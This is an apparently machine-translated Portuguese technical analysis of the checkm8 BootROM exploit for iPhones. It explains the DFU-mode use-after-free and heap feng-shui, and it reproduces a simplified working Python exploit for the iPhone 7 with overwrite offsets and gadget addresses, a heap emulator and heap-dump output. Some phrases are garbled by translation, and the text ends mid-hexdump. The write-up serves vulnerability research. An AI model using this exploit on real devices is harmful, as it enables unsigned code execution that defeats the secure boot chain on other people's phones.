Análise técnica da exploração checkm8


Provavelmente você já ouviu falar sobre o famoso exploit checkm8 , que usa uma vulnerabilidade não BootROM no BootROM da maioria dos iDevices, incluindo o iPhone X Neste artigo, forneceremos uma análise técnica dessa exploração e descobriremos o que causa a vulnerabilidade.


Você pode ler a versão em russo aqui .


1. Introdução


Primeiro, vamos descrever brevemente o processo de inicialização de um iDevice e o papel que o BootROM (também conhecido como SecureROM ) desempenha nele. Informações detalhadas sobre o assunto podem ser encontradas aqui . Veja como é a inicialização:



Quando o dispositivo está ligado, o BootROM é executado primeiro. Suas principais tarefas são:


  • Inicialização da plataforma (os registros necessários da plataforma estão instalados, a CPU é inicializada etc.)
  • Verificação e transferência de controle para a próxima etapa
    • BootROM suporta a análise de imagens IMG3/IMG4
    • BootROM tem acesso à chave GID para descriptografar imagens
    • para verificação de imagem, o BootROM possui uma chave pública da Apple incorporada e a funcionalidade criptográfica necessária
  • Restaure o dispositivo se não for possível inicializar mais ( Device Firmware Update , DFU ).

BootROM tem um tamanho muito pequeno e pode ser chamado de uma versão leve do iBoot , pois eles compartilham a maior parte do código do sistema e da biblioteca. Embora, diferentemente do iBoot , o BootROM não possa ser atualizado. Ele é colocado na memória interna somente leitura quando um dispositivo é fabricado. BootROM é a raiz de confiança de hardware da cadeia de inicialização segura. BootROM vulnerabilidades do BootROM podem permitir que um invasor controle o processo de inicialização e execute o código não assinado em um dispositivo.



A história do checkm8


O exploit checkm8 foi adicionado ao ipwndfu pelo seu autor axi0mX em 27 de setembro de 2019. Ao mesmo tempo, ele anunciou a atualização no Twitter e forneceu uma descrição e informações adicionais sobre o exploit. De acordo com o tópico, ele encontrou a vulnerabilidade de use-after-free no código USB , enquanto o patch iBoot para iOS 12 beta no verão de 2018.
BootROM e o iBoot compartilham a maior parte de seu código, incluindo USB , portanto, essa vulnerabilidade também é relevante para o BootROM .


Como se segue no código da exploração, a vulnerabilidade é explorada no DFU . Este é um modo no qual é possível transferir uma imagem assinada para um dispositivo via USB que será inicializado mais tarde. Por exemplo, isso pode ser útil para restaurar um dispositivo após uma atualização sem êxito.


No mesmo dia, o usuário littlelailo disse que havia encontrado a vulnerabilidade em março e publicou uma descrição em apollo.txt . A descrição correspondeu ao checkm8 , embora nem todos os detalhes da exploração fiquem claros após a leitura. Por isso, decidimos escrever este artigo e descrever todos os detalhes da exploração até a execução da carga no BootROM .


iBoot/SecureROM nossa análise da exploração nos recursos mencionados acima e no código-fonte do iBoot/SecureROM , que vazou em fevereiro de 2018. Também usamos os dados que obtivemos das experiências realizadas em nosso dispositivo de teste, o iPhone 7 ( CPID:8010 ) Usando checkm8 , obtivemos os despejos do SecureROM e SecureRAM , que também foram úteis para a análise.


Informações necessárias sobre USB


Como a vulnerabilidade está no código USB , é necessário entender como essa interface funciona. Especificações completas podem ser encontradas em https://www.usb.org/ , mas é uma leitura longa. Para nossos propósitos, o USB no NutShell é mais que suficiente. Aqui, mencionaremos apenas os pontos mais relevantes.


Existem vários tipos de transferência de dados USB . No DFU , apenas Control Transfers modo Control Transfers é usado (leia mais sobre isso aqui ). Nesse modo, cada transação possui 3 estágios:



  • Setup Stage - um pacote de SETUP é enviado; possui os seguintes campos:
    • bmRequestType - define a direção da solicitação, seu tipo e o destinatário
    • bRequest - define a solicitação a ser feita
    • wValue , wIndex - são interpretados dependendo da solicitação
    • wLength - especifica o tamanho dos dados enviados / recebidos no Data Stage
  • Data Stage - um estágio opcional de transferência de dados. Dependendo do pacote SETUP enviado durante o Setup Stage , os dados podem ser enviados do host para o dispositivo ( OUT ) ou vice-versa ( IN ). Os dados são enviados em pequenas porções (no caso do Apple DFU , são 0x40 bytes).
    • Quando um host deseja enviar outra parte dos dados, ele envia um token OUT e depois os próprios dados.
    • Quando um host está pronto para receber dados de um dispositivo, ele envia um token IN para o dispositivo.
  • Status Stage - o último estágio; o status de toda a transação é relatado.
    • Para solicitações de OUT , o host envia um token de entrada ao qual o dispositivo deve responder com um pacote de tamanho zero.
    • Para solicitações IN , o host envia um token OUT e um pacote de tamanho zero.

O esquema abaixo mostra as solicitações OUT e IN . Tiramos o ACK , NACK e outros pacotes de handshake de propósito, pois eles não são importantes para a exploração em si.



Análise de apollo.txt


Iniciamos a análise com a vulnerabilidade do apollo.txt . O documento descreve o algoritmo do modo DFU :


https://gist.github.com/littlelailo/42c6a11d31877f98531f6d30444f59c4
  1. Quando o usb é iniciado para obter uma imagem através do dfu, o dfu registra uma interface para lidar com todos os comandos e aloca um buffer para entrada e saída
  2. Se você enviar dados para o dfu, o pacote de instalação é tratado pelo código principal, que então chama o código da interface
  3. o código da interface verifica se wLength é menor que o tamanho do buffer de saída e, se for o caso, atualiza um ponteiro passado como argumento com um ponteiro para o buffer de saída.
  4. em seguida, retorna wLength, que é o comprimento que deseja receber no buffer
  5. o código principal usb atualiza uma var global com o comprimento e se prepara para receber os pacotes de dados
  6. se um pacote de dados é recebido, ele é gravado no buffer de saída de entrada por meio do ponteiro que foi passado como argumento e outra variável global é usada para acompanhar quantos bytes já foram recebidos
  7. se todos os dados foram recebidos, o código específico dfu é chamado novamente e, em seguida, copia o conteúdo do buffer de saída para o local da memória de onde a imagem é inicializada posteriormente
  8. depois disso, o código usb redefine todas as variáveis ​​e passa a manipular novos pacotes
  9. se o dfu sair, o buffer de saída será liberado e se a análise da imagem falhar, o bootrom reentra no dfu

Primeiro, verificamos essas etapas no código fonte do iBoot . Não podemos usar os fragmentos do código vazado aqui, portanto, usaremos o pseudocódigo que obtivemos da engenharia reversa do SecureROM do nosso iPhone7 na IDA . Você pode encontrar facilmente o código fonte do iBoot e navegar nele.


Quando o DFU é inicializado, um buffer de IO é alocado e uma interface USB para processar os pedidos para o DFU é registrada:



Quando o pacote SETUP de uma solicitação para o DFU chega, um manipulador de interface apropriado é chamado. Para solicitações de OUT (por exemplo, quando uma imagem é enviada), em caso de execução bem-sucedida, o manipulador deve retornar o endereço do buffer de IO para a transação, bem como o comprimento dos dados que espera receber. Ambos os valores são armazenados em variáveis ​​globais.



A captura de tela abaixo mostra o manipulador da interface DFU . Se uma solicitação estiver correta, o endereço do buffer IO alocado durante a inicialização do DFU e o comprimento esperado dos dados do pacote SETUP serão retornados.



Durante o Data Stage , cada parte dos dados é gravada no buffer de IO e, em seguida, o endereço do buffer de IO é compensado e o contador recebido é atualizado. Quando todos os dados esperados são recebidos, o manipulador de dados da interface é chamado e o estado global da transação é limpo.



No manipulador de dados DFU , os dados recebidos são movidos para a área de memória da qual serão carregados posteriormente. Com base no código fonte do iBoot , essa área nos dispositivos Apple é chamada INSECURE_MEMORY .



Quando o dispositivo sai do modo DFU , o buffer de IO alocado anteriormente é liberado. Se a imagem foi adquirida com sucesso no modo DFU , ela será verificada e inicializada. Se houver algum erro ou for impossível inicializar a imagem, o DFU será inicializado novamente e todo o processo será repetido desde o início.


O algoritmo descrito possui uma vulnerabilidade de use-after-free . Se enviarmos um pacote SETUP no momento do upload da imagem e concluir a transação ignorando o Data Stage , o estado global permanecerá inicializado durante o próximo ciclo do DFU e poderemos gravar no endereço do buffer de IO alocado durante o período anterior. iteração do DFU .


Agora que sabemos como use-after-free o use-after-free , a questão é: como podemos substituir qualquer coisa durante a próxima iteração do DFU ? Antes de outra inicialização do DFU , todos os recursos alocados anteriormente são liberados e a alocação de memória em uma nova iteração deve ser exatamente a mesma. Como se viu, há outro erro interessante de vazamento de memória que permite explorar o use-after-free .


Análise do checkm8


Vamos ao próprio checkm8 . Para fins de demonstração, usaremos uma versão simplificada da exploração para o iPhone 7 , onde retiramos todo o código relacionado a outras plataformas e alteramos a ordem e os tipos de solicitações de USB sem danificar sua funcionalidade. Também nos livramos do processo de criação de uma carga útil, que pode ser encontrada no arquivo original, checkm8.py . É fácil identificar as diferenças entre as versões para outros dispositivos.


 #!/usr/bin/env python from checkm8 import * def main(): print '*** checkm8 exploit by axi0mX ***' device = dfu.acquire_device(1800) start = time.time() print 'Found:', device.serial_number if 'PWND:[' in device.serial_number: print 'Device is already in pwned DFU Mode. Not executing exploit.' return payload, _ = exploit_config(device.serial_number) t8010_nop_gadget = 0x10000CC6C callback_chain = 0x1800B0800 t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain) # heap feng-shui stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device) # set global state and restart usb device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) time.sleep(0.5) # heap occupation device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50) for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50) dfu.usb_reset(device) dfu.release_device(device) device = dfu.acquire_device() if 'PWND:[checkm8]' not in device.serial_number: print 'ERROR: Exploit failed. Device did not enter pwned DFU Mode.' sys.exit(1) print 'Device is now in pwned DFU Mode.' print '(%0.2f seconds)' % (time.time() - start) dfu.release_device(device) if __name__ == '__main__': main() 

A operação do checkm8 possui vários estágios:


  1. Monte feng-shui
  2. Alocação e liberação do buffer de IO sem limpar o estado global
  3. Substituindo usb_device_io_request na pilha com use-after-free
  4. Colocando a Carga Útil
  5. Execução da callback-chain de callback-chain de callback-chain
  6. Execução de shellcode de shellcode

Vejamos todas as etapas em detalhes.


1. Monte feng-shui


Achamos que é o estágio mais interessante, portanto, gastaremos mais tempo descrevendo-o.


 stall(device) leak(device) for i in range(6): no_leak(device) dfu.usb_reset(device) dfu.release_device(device) 

Esse estágio é necessário para organizar o heap de uma maneira que seja benéfica para a exploração do use-after-free . Primeiro, vamos considerar as chamadas stall , leak , no_leak :


 def stall(device): libusb1_async_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 'A' * 0xC0, 0.00001) def leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC0, 1) def no_leak(device): libusb1_no_error_ctrl_transfer(device, 0x80, 6, 0x304, 0x40A, 0xC1, 1) 

libusb1_no_error_ctrl_transfer é um wrapper para device.ctrlTransfer ignorando todas as exceções que surgem durante a execução de uma solicitação. libusb1_async_ctrl_transfer é um wrapper para a função libusb_submit_transfer do libusb para a execução assíncrona de uma requisição.


Os seguintes parâmetros são passados ​​para essas chamadas:


  • Número do dispositivo
  • Dados para o pacote SETUP (aqui você pode encontrar a descrição ):
    • bmRequestType
    • bRequest
    • wValue
    • wIndex
  • Comprimento dos dados ( wLength ) ou dados para o Data Stage
  • Tempo limite da solicitação

Argumentos bmRequestType , bRequest , wValue e wIndex são compartilhados pelos três tipos de solicitação:


  • bmRequestType = 0x80
    • 0b1XXXXXXX - direção do Data Stage de Data Stage (dispositivo para host)
    • 0bX00XXXXX - tipo de solicitação padrão
    • 0bXXX00000 - o dispositivo é o destinatário da solicitação
  • bRequest = 6 - solicitação para obter um descritor ( GET_DESCRIPTOR )
  • wValue = 0x304
    • wValueHigh = 0x3 - define o tipo do descritor - string ( USB_DT_STRING )
    • wValueLow = 0x4 - o índice do descritor de cadeia, 4, corresponde ao número de série do dispositivo (nesse caso, a cadeia é CPID:8010 CPRV:11 CPFM:03 SCEP:01 BDID:0C ECID:001A40362045E526 IBFL:3C SRTG:[iBoot-2696.0.0.1.33] )
  • wIndex = 0x40A - o identificador do idioma da string, cujo valor não é relevante para a exploração e pode ser alterado.

Para qualquer uma dessas solicitações, 0x30 bytes são alocados no heap para um objeto da seguinte estrutura:



Os campos mais interessantes desse objeto são callback e next .


  • callback é o ponteiro para a função que será chamada quando a solicitação for concluída.
  • next é o ponteiro para o próximo objeto do mesmo tipo; é necessário para organizar a fila de solicitações.

O principal recurso do stall é o uso da execução assíncrona de uma solicitação com um tempo limite mínimo. É por isso que, se tivermos sorte, a solicitação será cancelada no nível do SO e permanecerá na fila de execução, e a transação não será concluída. Além disso, o dispositivo continuará recebendo todos os pacotes SETUP futuros e os colocará, quando necessário, na fila de execução. Mais tarde, experimentando o controlador USB no Arduino , descobrimos que, para uma exploração bem-sucedida, precisamos que o host envie um pacote SETUP e um token IN , após o qual a transação deve ser cancelada devido ao tempo limite. Essa transação incompleta se parece com isso:



Além disso, os pedidos diferem apenas em comprimento por uma unidade. Para solicitações padrão, existe um callback padrão semelhante a este:



O valor de io_length é igual ao mínimo de wLength no pacote SETUP da solicitação e o comprimento original do descritor solicitado. Devido ao descritor ser bastante longo, podemos controlar o valor de io_length dentro de seu comprimento. O valor de g_setup_request.wLength é igual ao valor de wLength do último pacote de SETUP . Nesse caso, é 0xC1 .


Assim, as solicitações formadas pelas chamadas stall e leak são concluídas, a condição na função de callback do terminal é atendida e usb_core_send_zlp() é chamado. Essa chamada cria um pacote nulo (pacote zero-length-packet ) e o adiciona à fila de execução. Isso é necessário para a conclusão correta da transação no Status Stage .


A solicitação é concluída chamando a função usb_core_complete_endpoint_io . Primeiro, ele chama de callback e, em seguida, libera a memória da solicitação. A solicitação é concluída não apenas quando toda a transação é concluída, mas também quando o USB é redefinido. Quando o sinal para redefinir o USB for recebido, todas as solicitações na fila de execução serão concluídas.


Ao chamar seletivamente usb_core_send_zlp() ao passar pela fila de execução e liberar as solicitações posteriormente, podemos obter controle suficiente sobre o heap para a exploração do use-after-free . Primeiro, vamos dar uma olhada no loop de limpeza da solicitação:



Como você pode ver, a fila é esvaziada e as solicitações canceladas são executadas e concluídas por usb_core_complete_endpoint_io . Os pedidos alocados por usb_core_send_zlp são colocados em ep->io_head . Após a redefinição do USB , todas as informações sobre o terminal serão limpas, incluindo os ponteiros io_head e io_tail , e as solicitações de comprimento zero permanecerão no heap. Assim, podemos criar um pequeno pedaço no meio da pilha. O esquema abaixo mostra como é feito:



No monte do SecureROM , uma nova área de memória é alocada a partir do menor pedaço livre adequado. Ao criar um pequeno bloco livre usando o método descrito acima, podemos controlar a alocação de memória durante a inicialização do USB , incluindo a alocação do io_buffer e solicitações.


Para entender melhor isso, vamos ver quais solicitações ao heap são feitas quando o DFU é inicializado. Durante a análise do código fonte do iBoot e a engenharia reversa do SecureROM , obtivemos a seguinte sequência:


    1. Alocação de vários descritores de string
      • 1.1 Nonce (tamanho 234 )
      • 1.2 Manufacturer ( 22 )
      • 1.3 Product ( 62 )
      • 1.4 Serial Number ( 198 )
      • 1.5 Configuration string ( 62 )

    1. Alocações relacionadas à criação da tarefa do controlador USB
      • 2.1 Estrutura da tarefa ( 0x3c0 )
      • 2.2 Pilha de tarefas ( 0x1000 )

    1. io_buffer ( 0x800 )

    1. Descritores de configuração
      • 4.1 High-Speed ( 25 )
      • 4.2 Full-Speed ( 25 )


Em seguida, as estruturas de solicitação são alocadas. Se houver um pequeno pedaço na pilha, algumas alocações da primeira categoria irão para lá e todas as outras alocações serão movidas. Assim, poderemos transbordar usb_device_io_request consultando o buffer antigo. É assim:



Para calcular o deslocamento necessário, simplesmente emulamos todas as alocações listadas acima e iBoot um pouco o código fonte do heap do iBoot .


Emulando solicitações para o heap no DFU
 #include "heap.h" #include <stdio.h> #include <unistd.h> #include <sys/mman.h> #ifndef NOLEAK #define NOLEAK (8) #endif int main() { void * chunk = mmap((void *)0x1004000, 0x100000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); printf("chunk = %p\n", chunk); heap_add_chunk(chunk, 0x100000, 1); malloc(0x3c0); // alignment of the low order bytes of addresses in SecureRAM void * descs[10]; void * io_req[100]; descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); const int N = NOLEAK; void * task = malloc(0x3c0); void * task_stack = malloc(0x4000); void * io_buf_0 = memalign(0x800, 0x40); void * hs = malloc(25); void * fs = malloc(25); void * zlps[2]; for(int i = 0; i < N; i++) { io_req[i] = malloc(0x30); } for(int i = 0; i < N; i++) { if(i < 2) { zlps[i] = malloc(0x30); } free(io_req[i]); } for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_0); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 2; i++) { printf("zlps[%d] = %p\n", i, zlps[i]); } printf("**********\n"); for(int i = 0; i < 5; i++) { free(descs[i]); } free(task); free(task_stack); free(io_buf_0); free(hs); free(fs); descs[0] = malloc(234); descs[1] = malloc(22); descs[2] = malloc(62); descs[3] = malloc(198); descs[4] = malloc(62); task = malloc(0x3c0); task_stack = malloc(0x4000); void * io_buf_1 = memalign(0x800, 0x40); hs = malloc(25); fs = malloc(25); for(int i = 0; i < 5; i++) { printf("descs[%d] = %p\n", i, descs[i]); } printf("task = %p\n", task); printf("task_stack = %p\n", task_stack); printf("io_buf = %p\n", io_buf_1); printf("hs = %p\n", hs); printf("fs = %p\n", fs); for(int i = 0; i < 5; i++) { io_req[i] = malloc(0x30); printf("io_req[%d] = %p\n", i, io_req[i]); } printf("**********\n"); printf("io_req_off = %#lx\n", (int64_t)io_req[0] - (int64_t)io_buf_0); printf("hs_off = %#lx\n", (int64_t)hs - (int64_t)io_buf_0); printf("fs_off = %#lx\n", (int64_t)fs - (int64_t)io_buf_0); return 0; } 

A saída do programa com 8 solicitações no estágio heap feng-shui :


 chunk = 0x1004000 descs[0] = 0x1004480 descs[1] = 0x10045c0 descs[2] = 0x1004640 descs[3] = 0x10046c0 descs[4] = 0x1004800 task = 0x1004880 task_stack = 0x1004c80 io_buf = 0x1008d00 hs = 0x1009540 fs = 0x10095c0 zlps[0] = 0x1009a40 zlps[1] = 0x1009640 ********** descs[0] = 0x10096c0 descs[1] = 0x1009800 descs[2] = 0x1009880 descs[3] = 0x1009900 descs[4] = 0x1004480 task = 0x1004500 task_stack = 0x1004900 io_buf = 0x1008980 hs = 0x10091c0 fs = 0x1009240 io_req[0] = 0x10092c0 io_req[1] = 0x1009340 io_req[2] = 0x10093c0 io_req[3] = 0x1009440 io_req[4] = 0x10094c0 ********** io_req_off = 0x5c0 hs_off = 0x4c0 fs_off = 0x540 

Como você pode ver, outro usb_device_io_request aparecerá no deslocamento de 0x5c0 desde o início do buffer anterior, que corresponde ao código da exploração:


 t8010_overwrite = '\0' * 0x5c0 t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain) 

Você pode verificar a validade dessas conclusões analisando o status atual do heap do SecureRAM , obtido com o checkm8 . Para esse fim, escrevemos um script simples que analisa o despejo do heap e enumera os pedaços. Lembre-se de que durante o estouro usb_device_io_request , parte dos metadados foi danificada; portanto, usb_device_io_request durante a análise.


 #!/usr/bin/env python3 import struct from hexdump import hexdump with open('HEAP', 'rb') as f: heap = f.read() cur = 0x4000 def parse_header(cur): _, _, _, _, this_size, t = struct.unpack('<QQQQQQ', heap[cur:cur + 0x30]) is_free = t & 1 prev_free = (t >> 1) & 1 prev_size = t >> 2 this_size *= 0x40 prev_size *= 0x40 return this_size, is_free, prev_size, prev_free while True: try: this_size, is_free, prev_size, prev_free = parse_header(cur) except Exception as ex: break print('chunk at', hex(cur + 0x40)) if this_size == 0: if cur in (0x9180, 0x9200, 0x9280): # skipping damaged chunks this_size = 0x80 else: break print(hex(this_size), 'free' if is_free else 'non-free', hex(prev_size), prev_free) hexdump(heap[cur + 0x40:cur + min(this_size, 0x100)]) cur += this_size 

A saída do script com comentários pode ser encontrada no spoiler. Você pode ver que os bytes de ordem baixa correspondem aos resultados da emulação.


O resultado da análise da pilha no SecureRAM
 chunk at 0x4040 0x40 non-free 0x0 0 chunk at 0x4080 0x80 non-free 0x40 0 00000000: 00 41 1B 80 01 00 00 00 00 00 00 00 00 00 00 00 .A.............. 00000010: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................ 00000020: FF 00 00 00 00 00 00 00 68 3F 08 80 01 00 00 00 ........h?...... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x4100 0x140 non-free 0x80 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4240 0x240 non-free 0x140 0 00000000: 68 6F 73 74 20 62 72 69 64 67 65 00 00 00 00 00 host bridge..... 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4480 // descs[4], conf string 0x80 non-free 0x240 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x4500 // task 0x400 non-free 0x80 0 00000000: 6B 73 61 74 00 00 00 00 E0 01 08 80 01 00 00 00 ksat............ 00000010: E8 83 08 80 01 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x4900 // task stack 0x4080 non-free 0x400 0 00000000: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000010: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000020: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000030: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000040: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000050: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000060: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000070: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000080: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 00000090: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000A0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats 000000B0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats chunk at 0x8980 // io_buf 0x840 non-free 0x4080 0 00000000: 63 6D 65 6D 63 6D 65 6D 00 00 00 00 00 00 00 00 cmemcmem........ 00000010: 10 00 0B 80 01 00 00 00 00 00 1B 80 01 00 00 00 ................ 00000020: EF FF 00 00 00 00 00 00 10 08 0B 80 01 00 00 00 ................ 00000030: 4C CC 00 00 01 00 00 00 20 08 0B 80 01 00 00 00 L....... ....... 00000040: 4C CC 00 00 01 00 00 00 30 08 0B 80 01 00 00 00 L.......0....... 00000050: 4C CC 00 00 01 00 00 00 40 08 0B 80 01 00 00 00 L.......@....... 00000060: 4C CC 00 00 01 00 00 00 A0 08 0B 80 01 00 00 00 L............... 00000070: 00 06 0B 80 01 00 00 00 6C 04 00 00 01 00 00 00 ........l....... 00000080: 00 00 00 00 00 00 00 00 78 04 00 00 01 00 00 00 ........x....... 00000090: 00 00 00 00 00 00 00 00 B8 A4 00 00 01 00 00 00 ................ 000000A0: 00 00 0B 80 01 00 00 00 E4 03 00 00 01 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 34 04 00 00 01 00 00 00 ........4....... chunk at 0x91c0 // hs config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x9240 // ls config 0x80 non-free 0x0 0 00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................ 00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ chunk at 0x92c0 0x80 non-free 0x0 0 00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000010: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 6C CC 00 00 01 00 00 00 00 08 0B 80 01 00 00 00 l............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9340 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF C0 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 48 DE 00 00 01 00 00 00 C0 93 1B 80 01 00 00 00 H............... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x93c0 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 94 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9440 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x94c0 0x180 non-free 0x80 0 00000000: E4 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9640 // zlps[1] 0x80 non-free 0x180 0 00000000: 80 00 00 00 00 